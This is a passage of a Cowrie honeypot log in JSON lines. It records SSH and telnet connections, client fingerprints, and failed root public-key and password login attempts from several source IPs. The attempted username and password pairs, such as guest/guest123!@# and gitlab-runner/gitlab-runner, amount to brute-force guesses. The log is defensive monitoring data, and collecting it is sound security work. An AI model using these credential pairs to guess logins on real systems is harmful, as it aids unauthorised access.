t-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:08.521165Z","src_ip":"176.65.132.129","session":"cdd80645c152","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nPSpP4PBW0","message":"login attempt [root/nPSpP4PBW0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:08.768050Z","src_ip":"176.65.132.129","session":"cdd80645c152","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.986698150634766,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:08.804560Z","src_ip":"103.186.41.181","session":"e7ca02fbc5bc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"passwd123","message":"login attempt [user/passwd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:09.144795Z","src_ip":"198.98.56.227","session":"bc95a7be4760","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:09.852690Z","src_ip":"176.65.132.129","session":"cdd80645c152","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:10.154258Z","src_ip":"198.98.56.227","session":"bc95a7be4760","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.237.106.157","src_port":53980,"dst_ip":"10.17.0.5","dst_port":22,"session":"a00a0e52b08b","protocol":"ssh","message":"New connection: 205.237.106.157:53980 (10.17.0.5:22) [session: a00a0e52b08b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:10.220371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:10.225419Z","src_ip":"205.237.106.157","session":"a00a0e52b08b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:10.314184Z","src_ip":"205.237.106.157","session":"a00a0e52b08b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.87083625793457,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:10.464577Z","src_ip":"38.60.198.128","session":"90f18673de9c","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f9:1c:70:6f:cc:53:77:44:e6:7e:05:43:09:4a:48:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaDFumpW4/fTVe4IEtQ3gcll6s1CvJj2W56DJG4CQf81oFkg5zhMf9bxYNOasCT2E0bjfuJnyJeyzZofO0cCJufAYcD+IjA7YcZz+TuvttTi+pVUC4fnVJK8vHux3ly9aAmZciIJ1O1mWND1hDXMlJFbQ90EnAnHZeGoiTlF4Rvh8wc17neaLip5X1/anG/t8lKucl3R3wnJcKP30rIgwpbU7imDPQHpksiuCCf7xZFbGSwbe4dVb8Zks9bPadMKiE4MNddo2uN82F8pGKE4upGJG2tJcldUUeV/oHFddLmCVTKHvVM01McY7H3A3As0UIY6bLS2SuWlzpm3vzle+r","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f9:1c:70:6f:cc:53:77:44:e6:7e:05:43:09:4a:48:28","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:10.709271Z","src_ip":"205.237.106.157","session":"a00a0e52b08b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f9:1c:70:6f:cc:53:77:44:e6:7e:05:43:09:4a:48:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaDFumpW4/fTVe4IEtQ3gcll6s1CvJj2W56DJG4CQf81oFkg5zhMf9bxYNOasCT2E0bjfuJnyJeyzZofO0cCJufAYcD+IjA7YcZz+TuvttTi+pVUC4fnVJK8vHux3ly9aAmZciIJ1O1mWND1hDXMlJFbQ90EnAnHZeGoiTlF4Rvh8wc17neaLip5X1/anG/t8lKucl3R3wnJcKP30rIgwpbU7imDPQHpksiuCCf7xZFbGSwbe4dVb8Zks9bPadMKiE4MNddo2uN82F8pGKE4upGJG2tJcldUUeV/oHFddLmCVTKHvVM01McY7H3A3As0UIY6bLS2SuWlzpm3vzle+r","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:10.716650Z","src_ip":"205.237.106.157","session":"a00a0e52b08b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9d:7b:ff:75:29:c0:8f:f1:ea:ca:08:c6:95:f6:2c:a5","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK/C7drp+KaVr9zZ9Hor3sqn2ALTqs8unGH9ORd303AA","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 9d:7b:ff:75:29:c0:8f:f1:ea:ca:08:c6:95:f6:2c:a5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:10.800267Z","src_ip":"205.237.106.157","session":"a00a0e52b08b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9d:7b:ff:75:29:c0:8f:f1:ea:ca:08:c6:95:f6:2c:a5","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK/C7drp+KaVr9zZ9Hor3sqn2ALTqs8unGH9ORd303AA","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:10.803792Z","src_ip":"205.237.106.157","session":"a00a0e52b08b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"15:9c:7d:42:a7:5d:92:18:a7:16:0c:52:af:a5:63:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjLjhe+We69d3u2SeD33mDrqUveKzWsYCIRMZ3Jm39ghzrw7mL/8rSKQiCQLeJ+ND3b7OmQ3rb9PP37SPMpUfD+JX/hFADgtXZ8BKfLnTkKWVBpFutWle24da15pPlhPW8gOqUaZX6kQs57P8WvOECDxa6290mwEV7fMRUQaoacWE0gDzIlLpaMlD3gycAmKMh1CzQd6qdLP/J7CPc3043O2b1dE/QOEw2RTfRl6r2hx34DO62R+dT4Nq8WlcFU7A581drs/w+JFd0SUK8rcl6DnTebyYYfWwJ07QgoIhPb/NJf7uM6HMV8JzXEfyP0MPDUOEHCsp0HmwjuyVRwQSP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 15:9c:7d:42:a7:5d:92:18:a7:16:0c:52:af:a5:63:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:10.887673Z","src_ip":"205.237.106.157","session":"a00a0e52b08b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"15:9c:7d:42:a7:5d:92:18:a7:16:0c:52:af:a5:63:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjLjhe+We69d3u2SeD33mDrqUveKzWsYCIRMZ3Jm39ghzrw7mL/8rSKQiCQLeJ+ND3b7OmQ3rb9PP37SPMpUfD+JX/hFADgtXZ8BKfLnTkKWVBpFutWle24da15pPlhPW8gOqUaZX6kQs57P8WvOECDxa6290mwEV7fMRUQaoacWE0gDzIlLpaMlD3gycAmKMh1CzQd6qdLP/J7CPc3043O2b1dE/QOEw2RTfRl6r2hx34DO62R+dT4Nq8WlcFU7A581drs/w+JFd0SUK8rcl6DnTebyYYfWwJ07QgoIhPb/NJf7uM6HMV8JzXEfyP0MPDUOEHCsp0HmwjuyVRwQSP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:10.891504Z","src_ip":"205.237.106.157","session":"a00a0e52b08b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:d9:65:05:08:3f:5a:8f:e5:6d:81:60:5d:7a:d6:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQUWFW3x1nf/RZpfwBGmScOl+fV78Io3zxnCiNHM52T0wBGeyw2Ta2LI1iTf5om2f50TR/uyxVRHOLrbE2u+1ioC/rLdSrDbRYdo6kx32Qwusa+gX3LuBSBO20udU8Nz5cH2gt4EOyo+1Ub+23/QJO+CAWJmZJWhOikQW3E8zTBpxhIEsMP8+SIM9NE75qxWuKEUI0OOGVPkgOzRYAeyjIn7BwhnPCtnkeNjhbT969v45UbH6js38pzm+/+14Lwz9McBLU84ZWSuyJrfQZb30XaTQD+8+sYCABmfF2PgsqEujza0Agu1cCE27vj3C/bNRRAck0D21/Ee8l1z5mTfPbg9MgaQwuhbyXyWgkTRuOI16LaMfR4YqQBUQz0gdIuzlJF64xH7qNxkGxhuqxXLh84Sw0Ra33O6F+WdsylEYOmsnyfbhmrUuYzf63i+p97sEcmlZa/f+AHP39Ir5xwVyYi1wJugFMT4s5wUU5dzBaN6kqK4Gzs9PJnUJlBPMI5gI9pYgYTdqKb6g/dIieW6WFcsfxJoVi4AubtleQhGO0V0C2RRCkiFeU7/nevKvBkwt1g8V1qIWGaNvC5hBz+nnOv7ds7ny6aCfjuxYKHDeBQEpgojCdrvRgbTPPWTqYDw4UqWNqpZLN0fHa3fKtWGGbT82nfRDtrtpfSur3q0RzDQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint aa:d9:65:05:08:3f:5a:8f:e5:6d:81:60:5d:7a:d6:e6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:10.975235Z","src_ip":"205.237.106.157","session":"a00a0e52b08b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:d9:65:05:08:3f:5a:8f:e5:6d:81:60:5d:7a:d6:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQUWFW3x1nf/RZpfwBGmScOl+fV78Io3zxnCiNHM52T0wBGeyw2Ta2LI1iTf5om2f50TR/uyxVRHOLrbE2u+1ioC/rLdSrDbRYdo6kx32Qwusa+gX3LuBSBO20udU8Nz5cH2gt4EOyo+1Ub+23/QJO+CAWJmZJWhOikQW3E8zTBpxhIEsMP8+SIM9NE75qxWuKEUI0OOGVPkgOzRYAeyjIn7BwhnPCtnkeNjhbT969v45UbH6js38pzm+/+14Lwz9McBLU84ZWSuyJrfQZb30XaTQD+8+sYCABmfF2PgsqEujza0Agu1cCE27vj3C/bNRRAck0D21/Ee8l1z5mTfPbg9MgaQwuhbyXyWgkTRuOI16LaMfR4YqQBUQz0gdIuzlJF64xH7qNxkGxhuqxXLh84Sw0Ra33O6F+WdsylEYOmsnyfbhmrUuYzf63i+p97sEcmlZa/f+AHP39Ir5xwVyYi1wJugFMT4s5wUU5dzBaN6kqK4Gzs9PJnUJlBPMI5gI9pYgYTdqKb6g/dIieW6WFcsfxJoVi4AubtleQhGO0V0C2RRCkiFeU7/nevKvBkwt1g8V1qIWGaNvC5hBz+nnOv7ds7ny6aCfjuxYKHDeBQEpgojCdrvRgbTPPWTqYDw4UqWNqpZLN0fHa3fKtWGGbT82nfRDtrtpfSur3q0RzDQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:10.978903Z","src_ip":"205.237.106.157","session":"a00a0e52b08b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:e9:df:93:6e:ef:56:36:e3:83:17:5e:32:78:1f:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0KTogi4qlw9RxAgLlQW3hFZ/LZuzbzSqjubdw0DoinCsPLg3pi/R3jOGRJ26FT45HLYCgnfLnGOYECFltL9TM1qJJxXBsHOcXc6YqWYrBP5/Z6sv7++XcJj1iI7sy/YDI6G15FKTTug7dlClpOjyKqPrmHsCZvsKrdD/NRHY9/gfxMhmsBn+1yO/9Tq3S3J3eyIIj9l7OiuM4jtiXAbM4Sdhp7aiEy/jH/BSLW3+SbfwWMYIFQX8G0KIstcgAl7QyB2cpRfzbu1i4Dm5zDQI5NAozhUx/36D/sBEbqEuy45JGVYF2Gz0xVBV9K8LPQ8qLRWFLVAQvKdxtSPqeZ+JYQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 42:e9:df:93:6e:ef:56:36:e3:83:17:5e:32:78:1f:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:11.063990Z","src_ip":"205.237.106.157","session":"a00a0e52b08b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:e9:df:93:6e:ef:56:36:e3:83:17:5e:32:78:1f:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0KTogi4qlw9RxAgLlQW3hFZ/LZuzbzSqjubdw0DoinCsPLg3pi/R3jOGRJ26FT45HLYCgnfLnGOYECFltL9TM1qJJxXBsHOcXc6YqWYrBP5/Z6sv7++XcJj1iI7sy/YDI6G15FKTTug7dlClpOjyKqPrmHsCZvsKrdD/NRHY9/gfxMhmsBn+1yO/9Tq3S3J3eyIIj9l7OiuM4jtiXAbM4Sdhp7aiEy/jH/BSLW3+SbfwWMYIFQX8G0KIstcgAl7QyB2cpRfzbu1i4Dm5zDQI5NAozhUx/36D/sBEbqEuy45JGVYF2Gz0xVBV9K8LPQ8qLRWFLVAQvKdxtSPqeZ+JYQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:11.067482Z","src_ip":"205.237.106.157","session":"a00a0e52b08b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:11.150881Z","src_ip":"205.237.106.157","session":"a00a0e52b08b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.08786058425903,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:11.674276Z","src_ip":"38.60.198.128","session":"ab0bc5746c67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43920,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb018a0722ef","protocol":"ssh","message":"New connection: 176.65.132.129:43920 (10.17.0.5:22) [session: bb018a0722ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:12.116334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:12.122022Z","src_ip":"176.65.132.129","session":"bb018a0722ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:12.205394Z","src_ip":"176.65.132.129","session":"bb018a0722ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ivan","password":"ivan","message":"login attempt [ivan/ivan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:12.450940Z","src_ip":"176.65.132.129","session":"bb018a0722ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:13.536535Z","src_ip":"176.65.132.129","session":"bb018a0722ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.222.14","src_port":46026,"dst_ip":"159.203.135.109","dst_port":22,"session":"e21af4b92b22","protocol":"ssh","message":"New connection: 57.128.222.14:46026 (159.203.135.109:22) [session: e21af4b92b22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:14.455637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:14.463147Z","src_ip":"57.128.222.14","session":"e21af4b92b22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:14.566578Z","src_ip":"57.128.222.14","session":"e21af4b92b22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest123!@#","message":"login attempt [guest/guest123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:15.008337Z","src_ip":"57.128.222.14","session":"e21af4b92b22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43932,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fe9630a6c53","protocol":"ssh","message":"New connection: 176.65.132.129:43932 (10.17.0.5:22) [session: 5fe9630a6c53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:15.487324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:15.492652Z","src_ip":"176.65.132.129","session":"5fe9630a6c53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:15.576103Z","src_ip":"176.65.132.129","session":"5fe9630a6c53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"gitlab-runner","message":"login attempt [gitlab-runner/gitlab-runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:15.821905Z","src_ip":"176.65.132.129","session":"5fe9630a6c53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:16.114269Z","src_ip":"57.128.222.14","session":"e21af4b92b22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.466145038604736,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:16.206651Z","src_ip":"64.227.82.147","session":"b4066ccf096d","protocol":"telnet"}
